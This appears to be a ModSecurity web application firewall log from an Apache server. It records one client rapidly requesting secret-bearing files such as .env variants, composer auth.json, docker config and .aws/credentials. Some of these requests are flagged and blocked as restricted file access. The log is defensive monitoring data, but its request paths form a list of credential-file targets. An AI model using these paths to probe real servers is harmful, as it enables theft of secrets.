[Sun Oct 25 00:28:15.778660 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45000] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.config/git/config"] [unique_id "at2FX2TNY6y0aXZ6joCanQAAADk"]
[Sun Oct 25 00:28:15.836602 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45012] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.composer/auth.json"] [unique_id "at2FX7Cux6YzXC46yX1OSwAAACY"]
[Sun Oct 25 00:28:15.895179 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45022] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/composer/auth.json"] [unique_id "at2FX1TnwNJm6o1fQZIgBAAAAAI"]
[Sun Oct 25 00:28:15.953247 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45034] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.composer"] [unique_id "at2FXxzh2uHYztX7tG5legAAADw"]
[Sun Oct 25 00:28:16.011764 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45036] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/composer/installed.json"] [unique_id "at2FYDuLxR3FUbX6v9XEGQAAAAc"]
[Sun Oct 25 00:28:16.070394 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45048] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2FYGQyb15Iqx39xvm2NgAAAC4"]
[Sun Oct 25 00:28:16.070628 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2FYGQyb15Iqx39xvm2NgAAAC4"]
[Sun Oct 25 00:28:16.070862 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2FYGQyb15Iqx39xvm2NgAAAC4"]
[Sun Oct 25 00:28:16.071097 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2FYGQyb15Iqx39xvm2NgAAAC4"]
[Sun Oct 25 00:28:16.127431 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45060] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2FYMmYnImk6kHi8hyMYAAAADA"]
[Sun Oct 25 00:28:16.127661 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2FYMmYnImk6kHi8hyMYAAAADA"]
[Sun Oct 25 00:28:16.127914 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2FYMmYnImk6kHi8hyMYAAAADA"]
[Sun Oct 25 00:28:16.128151 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2FYMmYnImk6kHi8hyMYAAAADA"]
[Sun Oct 25 00:28:16.185582 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45062] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2FYNsOgdpl1YJRCNQVhAAAAEU"]
[Sun Oct 25 00:28:16.185824 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2FYNsOgdpl1YJRCNQVhAAAAEU"]
[Sun Oct 25 00:28:16.186076 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2FYNsOgdpl1YJRCNQVhAAAAEU"]
[Sun Oct 25 00:28:16.186380 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2FYNsOgdpl1YJRCNQVhAAAAEU"]
[Sun Oct 25 00:28:16.243903 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45066] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2FYGnoVolia533WIkgvwAAADQ"]
[Sun Oct 25 00:28:16.244177 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2FYGnoVolia533WIkgvwAAADQ"]
[Sun Oct 25 00:28:16.244384 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2FYGnoVolia533WIkgvwAAADQ"]
[Sun Oct 25 00:28:16.244616 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2FYGnoVolia533WIkgvwAAADQ"]
[Sun Oct 25 00:28:16.305763 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45068] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2FYJnH_N6a0offkOBEzQAAACg"]
[Sun Oct 25 00:28:16.306054 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45068] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2FYJnH_N6a0offkOBEzQAAACg"]
[Sun Oct 25 00:28:16.306316 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2FYJnH_N6a0offkOBEzQAAACg"]
[Sun Oct 25 00:28:16.306587 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2FYJnH_N6a0offkOBEzQAAACg"]
[Sun Oct 25 00:28:16.363042 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45074] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2FYGTNY6y0aXZ6joCangAAADk"]
[Sun Oct 25 00:28:16.363270 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2FYGTNY6y0aXZ6joCangAAADk"]
[Sun Oct 25 00:28:16.363449 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2FYGTNY6y0aXZ6joCangAAADk"]
[Sun Oct 25 00:28:16.363716 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2FYGTNY6y0aXZ6joCangAAADk"]
[Sun Oct 25 00:28:16.421585 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45086] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2FYLCux6YzXC46yX1OTAAAACY"]
[Sun Oct 25 00:28:16.421873 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45086] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2FYLCux6YzXC46yX1OTAAAACY"]
[Sun Oct 25 00:28:16.422076 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2FYLCux6YzXC46yX1OTAAAACY"]
[Sun Oct 25 00:28:16.422323 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2FYLCux6YzXC46yX1OTAAAACY"]
[Sun Oct 25 00:28:16.479440 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45096] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.docker/config.json"] [unique_id "at2FYFTnwNJm6o1fQZIgBQAAAAI"]
[Sun Oct 25 00:28:16.536816 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45110] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/docker-compose.yml"] [unique_id "at2FYBzh2uHYztX7tG5lewAAADw"]
[Sun Oct 25 00:28:16.596178 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45124] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/docker-compose.yaml"] [unique_id "at2FYDuLxR3FUbX6v9XEGgAAAAc"]
[Sun Oct 25 00:28:16.655555 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45140] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.aws/credentials"] [unique_id "at2FYGQyb15Iqx39xvm2NwAAAC4"]
